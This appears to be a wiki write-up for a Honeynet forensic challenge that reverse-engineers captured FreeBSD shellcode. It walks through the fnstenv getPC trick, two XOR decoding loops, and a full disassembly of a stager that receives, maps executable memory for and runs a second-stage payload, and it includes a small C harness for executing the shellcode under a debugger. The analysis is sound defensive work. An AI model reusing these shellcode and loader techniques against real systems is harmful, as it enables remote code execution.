Clone wiki

Challenge11 / Stage2

Stage 1

Having located our shellcode payload, we extract and save it as honeynet_stage1_payload.bin (MD5: 4585dd58f3b78f5d753b2e145bb5a09c). Furthermore, we assume that we are dealing with 32bit i386 assembly code (which is consistent with a FreeBSD 8.2 target - e.g. see Telnetd encrypt_keyid: Remote Root function pointer overwrite). VirusTotal does not report the shellcode as being known to any of its 41 AV agents.

Using libemu's sctest command (via /opt/libemu/bin/sctest -gS -s 100000 < honeynet_stage1_payload) we get:

verbose = 0
failed
cpu error error accessing 0x00000004 not mapped

stepcount 1

so, libemu fails straight away! Looking around the internet, this appears to be related to the use of floating point instructions to get the current PC value? Georg Wicherski's libsizzle appears to deal with such issues, but this code is not publicly available (see libemu + fnstenv = no detection and Executing 32bit Code in a 64bit Linux 2.6 Process for more information).

When we disassemble using Radare:

          0x00000000,     cursor: d9ea            fldl2e 
          0x00000002              d9742498        fnstenv [esp-0x68]
          0x00000006              8b5c24a4        mov ebx, [esp-0x5c]
          0x0000000a              8d5ca300        lea ebx, [ebx+0x0]
          0x0000000e              b93bdc3219      mov ecx, 0x1932dc3b ; (0x1932dc3b)
          0x00000013              bab93b31dc      mov edx, 0xdc313bb9 ; (0xffffffffdc313bb9)
          0x00000018,             b03d            mov al, 0x3d
          0x0000001a              0fb6c0          movzx eax, al
          0x0000001d              666681c2d1c1    add dx, 0xc1d1
      |   0x00000023              314c832a        xor [ebx+eax*4+0x2a], ecx
      |   0x00000027              48              dec eax
      `=< 0x00000028,             79f7            jns 0x21  ; 1 = 0x00000021
          0x0000002a              5e              pop esi   ; junk code - will be overwritten
          ...

we can see the fnstenv instruction (at line 0x2). This code uses a getPC coding pattern (initiated by the FLDL2E instruction) to save an FPU environment record to ESP-0x68:

struct {
  uint32_t control_word;
  uint32_t status_word;
  uint32_t tag_word;
  uint32_t fpu_instruction_pointer;
  uint32_t fpu_instruction_selector;
  uint32_t fpu_opcode;
  uint32_t fpu_operand_pointer;
  uint32_t fpu_operand_selector;
  uint32_t reserved;
}

This FPU environment record contains an EIP value (i.e. the address of the instruction FLDL2E) at offset 0xC (i.e. fpu_instruction_pointer). Thus, the MOV instruction (at line 0x6) saves the memory address at which our shellcode is loaded, into the EBX register (since (ESP-0x68)+0xC = (ESP-0x5C)) at line 0x6.

Line 0xA is (effectively) NOP padding.

When we disassemble from line 0x21, we get:

      .-> 0x00000021              d1c1            rol ecx, 1
      |   0x00000023              314c832a        xor [ebx+eax*4+0x2a], ecx
      |   0x00000027              48              dec eax
      `=< 0x00000028,             79f7            jns 0x21  ; 1 = 0x00000021
          0x0000002a              5e              pop esi   ; junk code - will be overwritten
          ...

At lines 0x21-0x27, we have what looks like a small unpacking loop. This loop applies an XOR decoding strategy starting at offset EBX+EAX*4+0x2A = 0x0+0x3d*4+0x2A = 0x11E. We XOR a long value at a time using the key 0x1932 DC3B which is rotated left (i.e. ROL) on each iteration.

When our XOR decoding loop completes, we exit (at line 0x28) and start executing (at line 0x2A) this unencrypted code.

Here we switch to a dynamic analysis so that we may unpack this code. To aid this step, we use the Nepenthes mkcarray code to build a shellcode C array as follows (see shellcode2exe.py for an alternative approach):

mkcarray honeynet_stage1_payload.bin > stage1_shellcode.h

Manually editing this file then allows the following loadable shellcode exploit to be built (Note: most likely need to compile here with a -z execstack flag?):

#include "stage1_shellcode.h"

void (*shellcode)();

void main() {
  shellcode = (void (*)()) data;

  __asm ("int3"); // debugger trap
  shellcode();
}

Using GDB, we can execute and step through this shellcode until our binary has unpacked. In doing this, we extract the following disassembly (here stopped just after the above XOR unpacking loop - i.e. at address 0x0804a06a or offset 42):

   0x0804a040 <+0>:	fldl2e 
   0x0804a042 <+2>:	fnstenv [esp-0x68]
   0x0804a046 <+6>:	mov    ebx,DWORD PTR [esp-0x5c]
   0x0804a04a <+10>:	lea    ebx,[ebx+eiz*4+0x0]
   0x0804a04e <+14>:	mov    ecx,0x1932dc3b
   0x0804a053 <+19>:	mov    edx,0xdc313bb9
   0x0804a058 <+24>:	mov    al,0x3d
   0x0804a05a <+26>:	movzx  eax,al
   0x0804a05d <+29>:	data32 add dx,0xc1d1
   0x0804a063 <+35>:	xor    DWORD PTR [ebx+eax*4+0x2a],ecx
   0x0804a067 <+39>:	dec    eax
   0x0804a068 <+40>:	jns    0x804a061 <shellcode+33>
-> 0x0804a06a <+42>:	fldlg2 
   0x0804a06c <+44>:	xor    eax,eax
   0x0804a06e <+46>:	mov    ecx,0xf8499d23
   0x0804a073 <+51>:	fnstenv [esp-0x58]
   0x0804a077 <+55>:	mov    ebx,DWORD PTR [esp-0x4c]
   0x0804a07b <+59>:	lea    ebx,[ebx+eiz*8+0x0]
   0x0804a07f <+63>:	mov    edx,0x49319df8
   0x0804a084 <+68>:	mov    al,0x33
   0x0804a086 <+70>:	xor    dx,0xc1d1
   0x0804a08b <+75>:	xor    DWORD PTR [ebx+eax*4+0x28],ecx
   0x0804a08f <+79>:	dec    eax
   0x0804a090 <+80>:	jns    0x804a089 <shellcode+73>
   0x0804a092 <+82>:	test   dl,al   ; junk code - will be overwritten
   ...

Again, we appear to have a secondary XOR decoding loop. This time EBX is set to the address in the disassembly above and EAX = 51, so EBX+EAX*4+0x28 = 42+51*4+0x28 = 0x11E. Meanwhile, ECX = 0xF849 9D23 and is again rotated left by 1 with each loop.

Stepping through until our secondary loop has unpacked, we are now able to unpack the shellcode! We save this unpacked code using the GDB command dump binary memory honeynet_stage1_unpacked_payload 0x804a040 0x804a162 (MD5: 48e5714dbb370bb58ca9c9cba67aab7e).

Using Radare, we now obtain the following (in memory!) disassembly (here our execution is paused just after the above two XOR unpacking loops - i.e. at offset 0x00000052):

          ; framesize = -28 
          ; args = 0 
          ; vars = 0 
              0x00000000, / fun.00000000,cursor:
              0x00000000, |           d9ea            fldl2e 
              0x00000002  |           d9742498        fnstenv [esp-0x68]
              0x00000006  |           8b5c24a4        mov ebx, [esp-0x5c]
              0x0000000a  |           8d5ca300        lea ebx, [ebx+0x0]
              0x0000000e  |           b93bdc3219      mov ecx, 0x1932dc3b ; (0x1932dc3b)
              0x00000013  |           bab93b31dc      mov edx, 0xdc313bb9 ; (0xffffffffdc313bb9)
              0x00000018, |           b03d            mov al, 0x3d
              0x0000001a  |           0fb6c0          movzx eax, al
              0x0000001d  |           666681c2d1c1    add dx, 0xc1d1
          |   0x00000023  |           314c832a        xor [ebx+eax*4+0x2a], ecx
          |   0x00000027  |           48              dec eax
          `=< 0x00000028, |           79f7            jns 0x21  ; 1 = 0x00000021
              0x0000002a  |           d9ec            fldlg2 
              0x0000002c, |           33c0            xor eax, eax
              0x0000002e  |           b9239d49f8      mov ecx, 0xf8499d23 ; (0xfffffffff8499d23)
              0x00000033  |           d97424a8        fnstenv [esp-0x58]
              0x00000037  |           8b5c24b4        mov ebx, [esp-0x4c]
              0x0000003b  |           8d5ce300        lea ebx, [ebx+0x0]
              0x0000003f  |           baf89d3149      mov edx, 0x49319df8 ; (0x49319df8)
              0x00000044, |           b033            mov al, 0x33
              0x00000046  |           6681f2d1c1      xor dx, 0xc1d1
         |    0x0000004b  |           314c8328        xor [ebx+eax*4+0x28], ecx
         |    0x0000004f  |           48              dec eax
         `==< 0x00000050, |           79f7            jns 0x49  ; 2 = 0x00000049
              0x00000052  |           c8000400        enter 0x400, 0x0
              0x00000056  |           31db            xor ebx, ebx
        .---> 0x00000058, |           83ceff          or esi, 0xff
  ...--.----> 0x0000005b  |           46              inc esi
  |||  ||     0x0000005c, |           6681fe0004      cmp si, 0x400
  |||  |`===< 0x00000061  |           77f5            ja 0x58  ; 3 = 0x00000058
  |||  |      0x00000063  |           89e1            mov ecx, esp
  |||  |      0x00000065  |           6a1d            push 0x1d
  |||  |      0x00000067  |           58              pop eax
  |||  |      0x00000068, |           53              push ebx
  |||  |      0x00000069  |           53              push ebx
; 0x0000006a DATA xref from 0x00000082 (fun.00000000+0x82)
  |||  |      0x0000006a  |           6882000000      push dword 0x82 ; fun.00000000+0x82
; 0x0000006f DATA xref from 0x00000400 (fun.00000000+0x400)
  |||  |      0x0000006f  |           6800040000      push dword 0x400 ; fun.00000000+0x400
  |||  |      0x00000074, |           51              push ecx
  |||  |      0x00000075  |           56              push esi
  |||  |      0x00000076  |           50              push eax
          ; syscall (todo) 
  |||  |      0x00000077  |           cd80            int 0x80
          ; Stack size -28 
  |||  |      0x00000079  |           83c41c          add esp, 0x1c
  |||  `====< 0x0000007c, |           72dd            jb 0x5b  ; 4 = 0x0000005b
  |||         0x0000007e  |           8d40fc          lea eax, [eax-0x4]
  |||.------> 0x00000081  |           813c0456f09010  cmp dword [esp+eax], 0x1090f056
  ||||.=====< 0x00000088, \           7405            jz 0x8f  ; 5 = 0x0000008f
  |||||       0x0000008a              48              dec eax
  |||`======< 0x0000008b              79f4            jns 0x81  ; 6 = 0x00000081
  ||| |       0x0000008d              ebcc            jmp 0x5b  ; 7 = 0x10000005b
  ||| `-----> 0x0000008f              8d4010          lea eax, [eax+0x10]
  |||         0x00000092              89e1            mov ecx, esp
  |||         0x00000094,             53              push ebx
  |||         0x00000095              53              push ebx
  |||         0x00000096              6a40            push 0x40
  |||         0x00000098,             50              push eax
  |||         0x00000099              51              push ecx
  |||         0x0000009a              56              push esi
  |||         0x0000009b              6a1d            push 0x1d
  |||         0x0000009d              58              pop eax
  |||         0x0000009e              50              push eax
  |||         0x0000009f              cd80            int 0x80
  |||         0x000000a1              83c41c          add esp, 0x1c
  ||`=======< 0x000000a4,             72b5            jb 0x5b  ; 8 = 0x0000005b
  ||          0x000000a6              8d6404f4        lea esp, [esp+eax-0xc]
  ||          0x000000aa              68dd010000      push dword 0x1dd ; fun.00000000+0x1dd
  ||          0x000000af              58              pop eax
  ||          0x000000b0,             59              pop ecx
  ||          0x000000b1              51              push ecx
  ||          0x000000b2              53              push ebx
  ||          0x000000b3              53              push ebx
  ||          0x000000b4,             6aff            push 0xff
  ||          0x000000b6              6802100000      push dword 0x1002 ; (0x00001002)
  ||          0x000000bb              6a07            push 0x7
  ||          0x000000bd              51              push ecx
  ||          0x000000be              53              push ebx
  ||          0x000000bf              50              push eax
  ||          0x000000c0,             cd80            int 0x80
  ||          0x000000c2              83c420          add esp, 0x20
  |`========< 0x000000c5              7294            jb 0x5b  ; 9 = 0x0000005b
  |           0x000000c7              89c3            mov ebx, eax
  |           0x000000c9              8d4c2410        lea ecx, [esp+0x10]
  |           0x000000cd              c70156f09010    mov dword [ecx], 0x1090f056
  |           0x000000d3              895904          mov [ecx+0x4], ebx
  |           0x000000d6              6a08            push 0x8
  |           0x000000d8,             51              push ecx
  |           0x000000d9              56              push esi
  |           0x000000da              6a04            push 0x4
  |           0x000000dc,             58              pop eax
  |           0x000000dd              50              push eax
  |           0x000000de              cd80            int 0x80
  |           0x000000e0,             83c410          add esp, 0x10
  |           0x000000e3              31d2            xor edx, edx
  |           0x000000e5              8b0c24          mov ecx, [esp]
 .----------> 0x000000e8,             51              push ecx
 ||           0x000000e9              8d0413          lea eax, [ebx+edx]
 ||           0x000000ec,             50              push eax
 ||           0x000000ed              56              push esi
 ||           0x000000ee              6a03            push 0x3
 ||           0x000000f0,             58              pop eax
 ||           0x000000f1              50              push eax
 ||           0x000000f2              cd80            int 0x80
 ||           0x000000f4,             83c410          add esp, 0x10
 |`=========< 0x000000f7              0f825effffff    jb dword 0x5b  ; 0x0000005b
 |            0x000000fd              01c2            add edx, eax
 |            0x000000ff              29c1            sub ecx, eax
 `==========< 0x00000101              75e5            jnz 0xe8  ; 0x000000e8
              0x00000103              59              pop ecx
              0x00000104,             58              pop eax
              0x00000105              51              push ecx
              0x00000106              50              push eax
              0x00000107              c1e902          shr ecx, 0x2
              0x0000010a              31448bfc        xor [ebx+ecx*4-0x4], eax
              0x0000010e              e2fa            loop 0x10a
              0x00000110,             8b442408        mov eax, [esp+0x8]
              0x00000114,             01d8            add eax, ebx
              0x00000116              895c2404        mov [esp+0x4], ebx
              0x0000011a              893424          mov [esp], esi
              0x0000011d              ffd0            call eax
              0x0000011f              c3              ret 
              0x0000011f           ; ------------------------------------ 
              0x00000120,             c3              ret 
              0x00000120,          ; ------------------------------------ 
              0x00000121              c3              ret 
              0x00000121           ; ------------------------------------ 

From the above and /usr/src/sys/kern/syscalls.master, we note that:

  • the system call at lines 0x77 and 0x9f are calls to FreeBSD function number 0x1D
    • i.e. int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr) (see recvfrom manpage)
  • the system call at line 0xC0 is a call to FreeBSD function number 0x1DD
    • i.e. caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos) (see mmap manpage)
  • the system call at line 0xDE is a call to FreeBSD function number 0x04
    • i.e. ssize_t write(int fd, const void *buf, size_t nbyte) (see write manpage)
  • the system call at line 0xF2 is a call to FreeBSD function number 0x03
    • i.e. ssize_t read(int fd, void *buf, size_t nbyte) (see read manpage).

As explained in the FreeBSD Developers' Handbook: Section 11.3 - System Calls, FreeBSD uses the C calling convention for system calls. Thus, the C source level function call f(arg1, arg2, arg3) has its arguments placed on the stack in reverse order (i.e. push arg3; push arg2; push arg1), prior to the instruction int 80 being executed. Function results are often (but not always!) placed in the EAX register on return. The specific system function we wish to call is identified using the contents of the EAX register at call time.

Moreover, FreeBSD system calls are expected to be issued via a function call (i.e. we first call the code that issues our int 80 instruction). This means that we need to push an extra 0x4 bytes onto the stack to simulate this function call.

From /include/sys/socket.h we have that:

  • 0x82 means MSG_DONTWAIT and MSG_PEEK
  • 0x40 means MSG_WAITALL.

From /include/sys/mman.h we have that:

  • 0x7 means PROT_READ, PROT_WRITE and PROT_EXEC
  • 0x1002 means MAP_PRIVATE and MAP_ANON.

Stage 1 Sequence Diagram

Stage 1 Sequence Diagram

Using PyDBG and Scapy Python code (running within a VMWare Windows XP SP2 virtual machine) we now automatically extract our stage 2 payload (see Gray Hat Python for more information on PyDBG). See stage2_unpacker.py for a copy of this code and stage2_unpacker.log for the logged output in running this code.

Using VERA (with Gephi to post process the GML files), we can visualise the stage 1 payload as follows (the blue node indicates the stage 1 entry point): Stage 1 VERA Visualisation

Updated